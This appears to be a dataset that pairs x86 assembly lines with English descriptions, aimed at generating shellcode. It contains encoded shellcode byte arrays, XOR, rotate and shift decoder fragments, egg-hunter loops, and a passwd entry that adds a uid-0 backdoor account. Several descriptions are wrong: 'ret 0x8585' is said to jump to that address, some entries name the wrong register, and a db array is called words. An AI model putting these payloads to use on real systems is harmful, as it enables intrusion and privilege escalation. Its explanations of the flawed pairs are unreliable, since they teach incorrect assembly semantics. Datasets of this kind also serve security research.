| real_number1 dd 1234 define the doubleword variable real_number1 and initialize to 1234
|
| real_number2 dd 123456 define the doubleword variable real_number2 and initialize 123456
|
| realarray resq 10 reserve an array of ten reals for realarray
|
| realarray resq 10 reserve array realarray of 10 real numbers
|
| reseting the register pushing null terminator
|
| ret transfer control to the previous instruction address saved on stack
|
| ret return
|
| ret return the address off the stack and returns control to that location
|
| ret return to our program
|
| ret return to the address on the top of the stack
|
| ret return to where the function was called
|
| ret return to caller
|
| ret 0x8585 transfer control to the instruction at the adress 0x8585
|
| ret 0xc885 transfer control to the instruction at the adress 0x8585
|
| retry: define _retry label
|
| retry: declare retry label
|
| returnlabel: returnlabel label
|
| rol byte [esi], 0x1 rol decode with 1 offset
|
| rol byte [esi], 0x1 left rotate the byte in esi 1 time
|
| rol byte [esi], 0x1 left rotate the shellcode by one
|
| rol byte [esi], 0x2 left shift all bits of esi 2 times
|
| rol byte [esi], 0x2 left rotate the byte at the address esi by 0x2 bits
|
| rol byte [esi], 0x2 left rotate the byte in esi 2 times
|
| rol byte [esi], 4 execute a rotation to the left of the first character pointed from esi for 4 times
|
| rol byte [esi], 4 rotate 4 bits left the byte starting at the address esi
|
| rol edi, 1 left rotate the contents of the edi register by 1 bit
|
| rol edi, 1 left rotate the edi register 1 time
|
| rol edx, 0x4 left shift all bits of edx 4 times
|
| rol edx, 0x4 left rotate the contents of the edx register by 0x4 bits
|
| rol edx, 0x4 left rotate the edx register 4 times
|
| ror bl, cl right rotate bl by the contents of cl
|
| ror byte [esi], 0x1 ror decode with 1 offset
|
| ror byte [esi], 0x1 right rotate the byte in esi 1 time
|
| ror byte [esi], 0x1 right rotate the shellcode in esi by one
|
| ror esi, 1 right rotate esi 1 time
|
| ror esi, 1 right rotate the contents of the esi register by 1 bit
|
| rot_decode: define rot_decode_label
|
| rotate: declare _rotate label
|
| rotate: declare the rotate label
|
| S1: db 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80 S1 is an array of bytes 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73
|
| S2: db 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80 define S2 as the array of bytes 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
|
| S3: dw 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73, 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80 S3 is an array of words 0xc0, 0x31, 0x68, 0x50, 0x2f, 0x2f, 0x68, 0x73
|
| S4: db 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80 define S4 as the array of words 0x2f, 0x68, 0x69, 0x62, 0x87, 0x6e, 0xb0, 0xe3, 0xcd, 0x0b, 0x90, 0x80
|
| sar eax, 23 right shift the contents of eax by 23 bits
|
| sar eax, 31 right shift the contents of eax by 31 bits
|
| sar ebx, 31 right shift the contents of ebx by 31 bits
|
| sar ecx, 2 right shift the value of register ecx by 2 bits
|
| sar edx, 4 right shift the value of register edx by 4 bits
|
| scas eax,dword ptr es:[edi] compare value at location edi with eax register
|
| scasd check if [edi] == eax then increment edi while
|
| scasd compare eax with doubleword at edi and set status flags
|
| scasd compare the contents of the eax register with doubleword at edi and set status flags
|
| scasd compare the value in eax to the doubleword addressed by edi
|
| scasd compare the value in the eax register to the doubleword addressed by the edi register
|
| scasd \ jnz _end \n jmp edi jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
|
| scasd \n jnz _end jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi
|
| scasd \n jnz _end \n jmp edi jump to the _end label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
|
| scasd \n jnz _start jump to the _start label if the value in the eax register is not equal to the doubleword addressed by edi
|
| scasd \n jnz _start \n jmp edi jump to the _start label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
|
| scasd \n jnz _start \n scasd \n jnz _start checking current address with egg two times
|
| scasd \n jnz IncAddr jump to the IncAddr label if the value in the eax register is not equal to the doubleword addressed by edi
|
| scasd \n jnz IncAddr \n jmp edi jump to the IncAddr label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
|
| scasd \n jnz next_addr \n scasd \n jnz next_addr check if [edi] == eax then increment edi while if no match go to next_addr label. repeat two times
|
| scasd \n l1 IncAddr jump to the l1 label if the value in the eax register is not equal to the doubleword addressed by edi
|
| scasd \n l1 IncAddr \n jmp edi jump to the l1 label if the value in the eax register is not equal to the doubleword addressed by edi else jump to the edi register
|
| search_the_egg: define search_the_egg label
|
| section .bss declare section containing uninitialized data
|
| section .bss declare the bss section
|
| section .bss section bss
|
| section .bss declare section bss
|
| section .bss declare bss section
|
| section .bss declare code section .bss
|
| section .data declare section .data
|
| section .data delcare section .data
|
| section .data define section .data
|
| section .data declare section containing initialized data
|
| section .data declare the data section
|
| section .data section data
|
| section .data section for initialized data
|
| section .data declare data section
|
| section .data \n section .bss \n section .text \n global _start \n _start: declare section.data, section .bss, section.text, global _start, _start label
|
| section .text declare text section
|
| section .text declare section containing code
|
| section .text declare section text
|
| section .text declare the text section
|
| section .text section .text
|
| section .text declare .text section
|
| section .text declare code section
|
| section .text section text
|
| section .text \n _start: declare section .data and _start label
|
| section .text \n global _start \n _start: declare section .text, global _start, _start:
|
| section .text \n global _start \n _start: declare section. text, global _start, _start label
|
| section .text \n global _start \n _start: declare section.text, global _start and _start label
|
| section .text \n global _start \n _start: delcare section .text, global _start and _start label
|
| set_argv: declare set_argv label
|
| set_argv: declare the set_argv label
|
| set_argv: define set_argv label
|
| set_mark: define set_mark label
|
| set_mark: declare the set_mark label
|
| setup: define _steup label
|
| setup: declare the setup label
|
| shell_ret: define shell_ret label
|
| shell_ret: declare the shell_ret label
|
| shell: define _ shell label
|
| shell: define _shell label
|
| shell: declare the shell label
|
| shellcode_length equ $-shellcode define the size of the shellcode = 25 byte
|
| shellcode_length equ $-shellcode define shellcode_length equal to the size of shellcode
|
| shellcode_section \n call decoder in shellcode_section go to decoder's main
|
| shellcode: declare _shellcode label
|
| shellcode: delcare shellcode_label
|
| shellcode: define _shellcode label
|
| shellcode: declare shellcode_label
|
| shellcode: define shellcode_ label
|
| shellcode: define shellcode label
|
| shellcode: declare the shellcode label
|
| shellcode: db 'vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash' define the array of bytes shellcode and initialize it to vl43ck:$6$bxwJfzor$MUhUWO0MUgdkWfPPEydqgZpm.YtPMI/gaM4lVqhP21LFNWmSJ821kvJnIyoODYtBh.SF9aR7ciQBRCcw5bgjX0:0:0:vl43ck:/tmp:/bin/bash
|
| "shellcode: db ""vl43ck:$6$bxwjfzor$muhuwo0mugdkwfppeydqgzpm.ytpmi/gam4lvqhp21lfnwmsj821kvjniyoodytbh.sf9ar7ciqbrccw5bgjx0:0:0:vl43ck:/tmp:/bin/bashÓ" "define the shellcode: ""vl43ck:$6$bxwjfzor$muhuwo0mugdkwfppeydqgzpm.ytpmi/gam4lvqhp21lfnwmsj821kvjniyoodytbh.sf9ar7ciqbrccw5bgjx0:0:0:vl43ck:/tmp:/bin/bashÓ"
|
| shellcode: db 0x0e,0x3a,0x94,0x12,0x12,0x12,0xb2,0x9b,0x37,0xc3,0x52,0xb6,0x9d,0xa2,0xc2,0x9d,0xa4,0x1e,0x9d,0xa4,0xe6,0x9d,0x84,0xfa,0x21,0x49,0xdc,0xf8,0xc3,0x11,0x7e,0xce,0xb3,0x8e,0x14,0xfe,0xf2,0x53,0x61,0x1f,0x13,0x59,0x34,0x04,0xa4,0xa9,0x9d,0xa4,0xe2,0x9d,0xdc,0xce,0x9d,0xde,0xe3,0x8a,0x35,0xda,0x13,0x23,0xa3,0x9d,0xab,0xf2,0x13,0x25,0x9d,0xdb,0xea,0x35,0xcc,0xdb,0x9d,0xc6,0x9d,0x13,0x28,0xc3,0x11,0x7e,0x53,0x61,0x1f,0x13,0x59,0xca,0x32,0x87,0x08,0x15,0x8f,0x0a,0xcd,0x8f,0xf6,0x87,0x36,0xaa,0x9d,0xaa,0xf6,0x13,0x25,0xb8,0x9d,0x1e,0xdd,0x9d,0xaa,0xee,0x13,0x25,0x9d,0x16,0x9d,0x13,0x22,0x9b,0xd6,0xf6,0xf6,0xad,0xad,0xb3,0xab,0xac,0xa3,0x11,0x32,0xb1,0xb1,0xac,0x9d,0xe4,0x3d,0x9f,0xaf,0xba,0xc5,0xc4,0x12,0x12,0xba,0x89,0x85,0xc4,0xb1,0xa6,0xba,0xde,0x89,0xf8,0x19,0x11,0x27,0x4a,0x62,0x13,0x12,0x12,0xfb,0x56,0xa6,0xa2,0xba,0xfb,0x92,0xbd,0x12,0x11,0x27,0xa2,0xa2,0xa2,0xa2,0xd2,0xa2,0xd2,0xa2,0xba,0x3c,0x21,0x31,0x32,0x11,0x27,0x69,0xbc,0x17,0xba,0x52,0x7a,0x86,0x59,0xba,0x14,0x12,0x13,0x4d,0x9b,0x38,0xbc,0xe2,0xa8,0xa9,0xba,0x6b,0x77,0x86,0xb3,0x11,0x27,0x97,0x52,0x86,0x1e,0x11,0xe0,0x1a,0x87,0x3e,0xba,0x02,0x47,0x74,0xa8,0x11,0x27,0xba,0xb5,0xbf,0xb6,0x12,0x9b,0x35,0xa9,0xa9,0xa9,0xc3,0x08,0xbc,0xe4,0xab,0xa8,0x34,0x0f,0xb8,0x59,0xd6,0xf6,0xce,0x13,0x13,0x9f,0xd6,0xf6,0xe2,0x58,0x12,0xd6,0xa6,0xa2,0xa8,0xa8,0xa8,0xd8,0xa8,0xe0,0xa8,0xa8,0xa5,0xa8,0xba,0x8b,0x5e,0xd1,0x98,0x11,0x27,0x9b,0x32,0xe0,0xa8,0xd8,0x11,0xc2,0xba,0x1a,0x99,0xef,0xb2,0x11,0x27,0x4d,0x02,0x47,0x74,0xa8,0xba,0x78,0x67,0x4f,0x6f,0x11,0x27,0xce,0x18,0x8e,0x1c,0x92,0x0d,0x32,0x87,0x17,0x4d,0xd9,0xe5,0x84,0xc1,0xbc,0x12,0xa5,0x11,0x27,0x88 define shellcode as the array of bytes 0x0e,0x3a,0x94,0x12,0x12,0x12,0xb2,0x9b,0x37,0xc3,0x52,0xb6,0x9d,0xa2,0xc2,0x9d,0xa4,0x1e,0x9d,0xa4,0xe6,0x9d,0x84,0xfa,0x21,0x49,0xdc,0xf8,0xc3,0x11,0x7e,0xce,0xb3,0x8e,0x14,0xfe,0xf2,0x53,0x61,0x1f,0x13,0x59,0x34,0x04,0xa4,0xa9,0x9d,0xa4,0xe2,0x9d,0xdc,0xce,0x9d,0xde,0xe3,0x8a,0x35,0xda,0x13,0x23,0xa3,0x9d,0xab,0xf2,0x13,0x25,0x9d,0xdb,0xea,0x35,0xcc,0xdb,0x9d,0xc6,0x9d,0x13,0x28,0xc3,0x11,0x7e,0x53,0x61,0x1f,0x13,0x59,0xca,0x32,0x87,0x08,0x15,0x8f,0x0a,0xcd,0x8f,0xf6,0x87,0x36,0xaa,0x9d,0xaa,0xf6,0x13,0x25,0xb8,0x9d,0x1e,0xdd,0x9d,0xaa,0xee,0x13,0x25,0x9d,0x16,0x9d,0x13,0x22,0x9b,0xd6,0xf6,0xf6,0xad,0xad,0xb3,0xab,0xac,0xa3,0x11,0x32,0xb1,0xb1,0xac,0x9d,0xe4,0x3d,0x9f,0xaf,0xba,0xc5,0xc4,0x12,0x12,0xba,0x89,0x85,0xc4,0xb1,0xa6,0xba,0xde,0x89,0xf8,0x19,0x11,0x27,0x4a,0x62,0x13,0x12,0x12,0xfb,0x56,0xa6,0xa2,0xba,0xfb,0x92,0xbd,0x12,0x11,0x27,0xa2,0xa2,0xa2,0xa2,0xd2,0xa2,0xd2,0xa2,0xba,0x3c,0x21,0x31,0x32,0x11,0x27,0x69,0xbc,0x17,0xba,0x52,0x7a,0x86,0x59,0xba,0x14,0x12,0x13,0x4d,0x9b,0x38,0xbc,0xe2,0xa8,0xa9,0xba,0x6b,0x77,0x86,0xb3,0x11,0x27,0x97,0x52,0x86,0x1e,0x11,0xe0,0x1a,0x87,0x3e,0xba,0x02,0x47,0x74,0xa8,0x11,0x27,0xba,0xb5,0xbf,0xb6,0x12,0x9b,0x35,0xa9,0xa9,0xa9,0xc3,0x08,0xbc,0xe4,0xab,0xa8,0x34,0x0f,0xb8,0x59,0xd6,0xf6,0xce,0x13,0x13,0x9f,0xd6,0xf6,0xe2,0x58,0x12,0xd6,0xa6,0xa2,0xa8,0xa8,0xa8,0xd8,0xa8,0xe0,0xa8,0xa8,0xa5,0xa8,0xba,0x8b,0x5e,0xd1,0x98,0x11,0x27,0x9b,0x32,0xe0,0xa8,0xd8,0x11,0xc2,0xba,0x1a,0x99,0xef,0xb2,0x11,0x27,0x4d,0x02,0x47,0x74,0xa8,0xba,0x78,0x67,0x4f,0x6f,0x11,0x27,0xce,0x18,0x8e,0x1c,0x92,0x0d,0x32,0x87,0x17,0x4d,0xd9,0xe5,0x84,0xc1,0xbc,0x12,0xa5,0x11,0x27,0x88
|
| shellcode: db 0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87 define shellcode as array of bytes 0x18,0x38,0xc7,0x57,0x6f,0x36,0x36,0x7a,0x6f,0x6f,0x36,0x69,0x70,0x75,0x90,0xea,0x38,0xd0,0x90,0xd1,0x71,0x12,0x5f,0xd4,0x87
|
| shellcode: db 0x31,0xc0,0x31,0xdb,0x31,0xc9,0x31,0xd2,0xb2,0xa4,0xeb,0x1f,0x5e,0x8d,0x3e,0x8a,0x1c,0x0f,0x88,0xdf,0x88,0xd0,0x30,0xd8,0x74,0x16,0x66,0x8b,0x44,0x0f,0x01,0x66,0x31,0xd8,0x66,0x89,0x07,0x41,0x8d,0x7f,0x02,0xeb,0xe4,0xe8,0xdc,0xff,0xff,0xff,0x7d,0x4c,0xa6,0x09,0xfe,0xea,0xd8,0x8b,0x9b,0x0c,0x5f,0x66,0x30,0x32,0xb9,0x07,0xe6,0xb7,0x0f,0x69,0xc2,0xab,0x2b,0xf0,0x3e,0x60,0x6c,0xea,0x82,0xe8,0x63,0x63,0x72,0x68,0x34,0x02,0xeb,0xfb,0xba,0xef,0xbf,0x66,0xf4,0x15,0x9e,0xbb,0xdd,0xe3,0x73,0xbe,0xf3,0xbb,0x32,0xfa,0xeb,0xef,0x58,0x20,0x24,0x90,0xe3,0x85,0x2e,0x64,0xe4,0x27,0x59,0xe9,0x3f,0xee,0x23,0x6e,0x63,0xf0,0x3a,0x47,0x2d,0x78,0x68,0x30,0xa5,0x66,0xe6,0x2f,0x69,0x10,0x91,0xfa,0x92,0xd5,0x3e,0x11,0x4d,0xf4,0x9c,0x9c,0x16,0x39,0x74,0xa0,0xc9,0xce,0xd2,0x5b,0x31,0x5c,0x0c,0x0f,0xfb,0x72,0x1a,0xb6,0x06,0xbd,0xd1,0x1c,0x51,0xa4 shellcode contains the bytes 0x31,0xc0,0x31,0xdb,0x31,0xc9,0x31,0xd2,0xb2,0xa4,0xeb,0x1f,0x5e,0x8d,0x3e,0x8a,0x1c,0x0f,0x88,0xdf,0x88,0xd0,0x30,0xd8,0x74,0x16,0x66,0x8b,0x44,0x0f,0x01,0x66,0x31,0xd8,0x66,0x89,0x07,0x41,0x8d,0x7f,0x02,0xeb,0xe4,0xe8,0xdc,0xff,0xff,0xff,0x7d,0x4c,0xa6,0x09,0xfe,0xea,0xd8,0x8b,0x9b,0x0c,0x5f,0x66,0x30,0x32,0xb9,0x07,0xe6,0xb7,0x0f,0x69,0xc2,0xab,0x2b,0xf0,0x3e,0x60,0x6c,0xea,0x82,0xe8,0x63,0x63,0x72,0x68,0x34,0x02,0xeb,0xfb,0xba,0xef,0xbf,0x66,0xf4,0x15,0x9e,0xbb,0xdd,0xe3,0x73,0xbe,0xf3,0xbb,0x32,0xfa,0xeb,0xef,0x58,0x20,0x24,0x90,0xe3,0x85,0x2e,0x64,0xe4,0x27,0x59,0xe9,0x3f,0xee,0x23,0x6e,0x63,0xf0,0x3a,0x47,0x2d,0x78,0x68,0x30,0xa5,0x66,0xe6,0x2f,0x69,0x10,0x91,0xfa,0x92,0xd5,0x3e,0x11,0x4d,0xf4,0x9c,0x9c,0x16,0x39,0x74,0xa0,0xc9,0xce,0xd2,0x5b,0x31,0x5c,0x0c,0x0f,0xfb,0x72,0x1a,0xb6,0x06,0xbd,0xd1,0x1c,0x51,0xa4
|
| shellcode: db 0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d define the array of bytes shellcode 0x3e, 0xcd, 0x5d, 0x96, 0xef, 0x75, 0x3c, 0x3c, 0x80, 0x75, 0x75, 0x3c, 0x6f, 0x76, 0x7b, 0x96, 0xf0, 0x5d, 0xbd, 0x18, 0xda, 0x8d
|
| shellcode: db 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23 define shellcode as an array of bytes and initialize it to 0x4b,0xf7,0x13,0x59,0xcc,0x8c,0x63,0x5e,0x9f,0x8d,0x99,0x9f,0x1f,0xa4,0x3b,0x6e,0xc6,0x36,0x23
|
| shellcode: db 0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01 define shellcode as array of bytes 0x62,0x60,0xa0,0x34,0x5e,0x97,0xe6,0x34,0xd0,0x97,0xc4,0xb4,0xdc,0xc4,0xc7,0x28,0x13,0x71,0xa6,0xc4,0xc3,0x58,0x16,0xe6,0x01
|
| shellcode: db 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa define the shellcode 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
|
| shellcode: db 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa shellcode is array of bytes 0xbb,0xec,0x73,0xcc,0x3f,0x9d,0xbb,0x8d,0x51,0xbb,0xb5,0x1b,0xbb,0xb3,0x22,0xbb,0xf2,0x79,0xbb,0xae,0x8e,0xbb,0xb5,0x61,0xbb,0xb5,0x3d,0xbb,0xf2,0x6e,0xbb,0xf2,0x9f,0xbb,0xbf,0x10,0xbb,0xb4,0x89,0xcc,0x76,0x2d,0xcc,0x1c,0x2f,0xbb,0x8d,0x91,0xcc,0x76,0x7e,0xcc,0x1d,0x92,0xbb,0x8e,0x80,0xcc,0x76,0x7b,0xcc,0x1e,0xa7,0xcc,0x4f,0x7f,0xbb,0xd6,0x2b,0xcc,0x32,0x24,0xcc,0x7f,0x37,0xaa
|
| shellcode: db 0xc6,0x02,0x80,0x01,0x81,0x03,0xd1,0x01,0xbe,0x02,0x5f,0x01,0x98,0x03,0x1c,0x06,0x60,0x08,0xf6,0x04,0xc5,0x01,0x92,0x04,0x30,0x07,0x64,0x06,0x3a,0x04,0x58,0x08,0x4f,0x03,0x59,0x05,0xd2,0x06,0x81,0x08,0x1a,0x04,0x5f,0x07,0x03,0x08,0xd8,0x04,0x0c,0x04, 0xbb, 0xbb shellcode is an array of bytes 0xc6,0x02,0x80,0x01,0x81,0x03,0xd1,0x01,0xbe,0x02,0x5f,0x01,0x98,0x03,0x1c,0x06,0x60,0x08,0xf6,0x04,0xc5,0x01,0x92,0x04,0x30,0x07,0x64,0x06,0x3a,0x04,0x58,0x08,0x4f,0x03,0x59,0x05,0xd2,0x06,0x81,0x08,0x1a,0x04,0x5f,0x07,0x03,0x08,0xd8,0x04,0x0c,0x04, 0xbb, 0xbb
|
| shellcode: db 0xeb,0x0d,0x5e,0x31,0xc9,0xb1,0x19,0x80,0x36,0xaa,0x46,0xe2,0xfa,0xeb,0x05,0xe8,0xee,0xff,0xff,0xff,0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a define the array of bytes shellcode and initialize it to 0xeb,0x0d,0x5e,0x31,0xc9,0xb1,0x19,0x80,0x36,0xaa,0x46,0xe2,0xfa,0xeb,0x05,0xe8,0xee,0xff,0xff,0xff,0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a
|
| shellcode: db 0xf1,0x31,0x90,0x38,0x47,0x47,0x5c,0x1b,0x1b,0x47,0x4d,0x0b,0x07,0xe7,0x6a,0xb3,0xd9,0x6b,0xb1,0xda,0x68,0x51,0xbb,0xc6,0x4d define shellcode as array of the bytes 0xf1,0x31,0x90,0x38,0x47,0x47,0x5c,0x1b,0x1b,0x47,0x4d,0x0b,0x07,0xe7,0x6a,0xb3,0xd9,0x6b,0xb1,0xda,0x68,0x51,0xbb,0xc6,0x4d
|
| shellcodelen equ $-shellcode define shellcodelen equal to the length of shellcode
|
| shellcodelen equ $-shellcode define shellcodelen equal to the length shellcode
|
| shift_decode: declare the shift_decode label
|
| shift_decode: define shift_decode label
|
| shift_decode: define shift_decode routine
|
| shl al, 4 left shift the contents of al by 4 bit positions
|
| shl cx, 1 left shift cx
|
| shl eax, 1 multiply eax by 2 using left shift
|
| shl eax, 1 multiply the value of eax by 2
|
| shl eax, 16 left shift the contents of eax 16 bits
|
| shl eax, 2 multiply eax by 4 using left shift
|
| shl eax, 28 left shift the contents of eax register by 28 bit positions
|
| shl eax, 28 shift left 28 bits of eax
|
| shl eax, 28 shift left the eax register by 28 bits
|
| shl eax, 5 left shift the contents of eax by 5 bit positions
|
| shl eax,2 left shift eax by two bits
|
| shl ebx, 1 multiply ebx by 2 using left shift
|
| shl ebx, 2 multiply ebx by 4 using left shift
|
| shl ebx, 8 left shift the contents of ebx by 8 bits
|
| shl ecx, 1 multiply ecx by 2 using left shift
|
| shl ecx, 2 multiply ecx by 4 using left shift
|
| shl edi, 0x1 left shift the contents of the edi register by 0x1 bit
|
| shl edi,0x1 shift left edi register bits 1 time with zeroes shifted in on right
|
| shl edx, 1 multiply edx by 2 using left shift
|
| shl edx, 2 multiply edx by 4 using left shift
|
| shl edx, 24 shift left edx register bits 24 time with zeroes shifted in on right
|
| shl edx, 24 left shift the contents of the edx register by 24 bits
|
| shl edx, 9 left shift the contents of edx register by 9 bit positions
|
| shl edx, 9 left shift the contents of the edx register by 9 bits
|
| shl esi, 0x1 left shift the contents of the esi register by 0x1 bit
|
| shl esi,0x1 shift left esi register bits 1 time with zeroes shifted in on right
|
| shr [var], 3 right shift by 3 bit positions the contents of var variable
|
| shr ax, 1 shift encoded_shellcode to right by one bit, one word at a time
|
| shr ax, 1 right shift ax by 1 bit
|
| shr ax, 1 shift the ax register to right by one bit
|
| shr ax, bl \n not word ax shift right ax by the contents of bl and negate the word in ax
|
| shr ax, cl moves the bits of ax to the right by a number equal to the content of cl
|
| shr ax, cl right shift the contents of the edi register by the contents of the cl register
|
| shr ax, cl \n not word ax shift right ax by the contents of cl and negate the word in ax
|
| shr bl, 4 right shift the contents of bl register by 4 bit positions
|
| shr bl, 4 right shift the contents of bl by 4
|
| shr bl,4 right shift by 4 bits bl
|
| shr bx, cl \n not bx shift right bx by the contents of cl and negate the contents of bx
|
| shr bx, dl \n not byte bl shift right bx by the contents of dl and negate the byte in bx
|
| shr cx, al \n not cx shift right cx by the contents of al and negate the contents of cx
|
| shr dl, 1 right shift the contents of the dl register by 1 bit
|
| shr dl, 1 right shift the contents of dl register by 1 bit positions
|
| shr dl, 1 shift right dl by 1
|
| shr dl, 4 right shift the contents of dl register by 4 bit positions
|
| shr dl, 4 shift right the dl register by 4 bits
|
| shr dx, bl \n not byte dx shift right dx by the contents of bl and negate the byte in dx
|
| shr eax, 0x10 shift right all bits of eax 0x10 times
|
| shr eax, 0x8 shift right all bits of eax 0x8 times
|
| shr eax, 1 divide eax by 2 using right shift
|
| shr eax, 16 right shift the contents of eax register by 16 bit positions
|
| shr eax, 2 divide eax by 4 using right shift
|
| shr eax, 24 right shift the contents of the eax register by 24 bit positions
|
| shr eax, 24 shift right 24 of eax
|
| shr eax, 28 right shift the contents of eax register by 28 bit positions
|
| shr eax, 28 shift right 28 of eax
|
| shr ebx, 0x8 shift right all bits of ecx 0x8 times
|
| shr ebx, 1 divide ebx by 2 using right shift
|
| shr ebx, 2 divide ebx by 4 using right shift
|
| shr ebx, cl right shift the contents of the ebx register by the contents of the cl register
|
| shr ecx, 0x10 shift right all bits of ecx 0x10 times
|
| shr ecx, 1 divide ecx by 2 using right shift
|
| shr ecx, 2 divide ecx by 4 using right shift
|
| shr edx, 1 divide edx by 2 using right shift
|
| shr edx, 16 right shift the contents of the edx register by 16
|
| shr edx, 16 \n inc edx do the logical shift to the right of the edx bits for 16 times the increase them of 1
|
| shr edx, 2 divide edx by 4 using right shift
|
| shr edx, byte 16 right shift the contents of the edx register by the byte 16
|
| shr edx, byte 24 right shift the contents of the edx register by the byte 24
|
| size: equ 1024 define size to be 1024 bytes large
|
| size: equ 50000 declare a constant size and set equal to 50000
|
| stage: declare _stage label
|
| stage: define _ stage label
|
| stage: declare the stage label
|
| stage: define stage label
|
| stage: \n call decoder define stage and call decoder function
|
| stageaddress: define _stageaddress label
|
| stageaddress: declare the stageaddress label
|
| start: declare the start label
|
| stc set carry flag
|
| stos byte ptr es:[edi],al stores al register content to location at edi
|
| str db 'hello',0 declare 6 bytes starting at the address str initialized to the ascii character values for hello and the null byte
|
| str db 'hey',0 declare 4 bytes starting at the address str initialized to the ascii character values for the string 'hey' and 0 respectively
|
| string db 'test.txt' define string as the byte string 'test.txt'
|
| string: db '/bin/sh' define string as the byte string '/bin/sh'
|
| string: db '/etc/passwd' define string as the byte string '/etc/passwd'
|
| string: db 'file.txt' define string as the byte string 'file.txt'
|
| string: db 'file1.txt' define string as the byte string 'file1.txt'
|
| string: db 'prova.txt' define string as the byte string 'prova.txt'
|
| string: db 'tmp.txt' define string as the byte string 'tmp.txt'
|
| sub [var], esi subtract the contents of esi from the 32-bit integer stored at memory location var
|
| sub [var2], esi subtract the contents of esi from the 32-bit integer stored at memory location var2
|
| sub al, 0x13 subtract 0x13 from the al register
|
| sub al, 0x41 subtract 0x41 from the al register
|
| sub al, 1 \n jns l1 subtract the value 1 from the contents of the al register and jump to the l1 label if the result is not negative
|
| sub al, 1 \n jnz l1 subtract the value 1 from the contents of the al register and jump to the l1 label if the result is not zero
|
| sub al, 88 subtract 88 from the contents of al register and save the result in al
|
| sub al, 88 subtract 88 from the contents of the al register
|
| sub al, ah subtract ah from al
|
| sub al,0x54 subtract hexadecimal value 0x54 to al register
|
| sub ax, 13 substract 13 from encoded_shellcode, one word at a time
|
| sub ax, 13 subtract 13 from ax and save the result into ax
|
| sub ax, 13 subtract 13 from the ax register
|
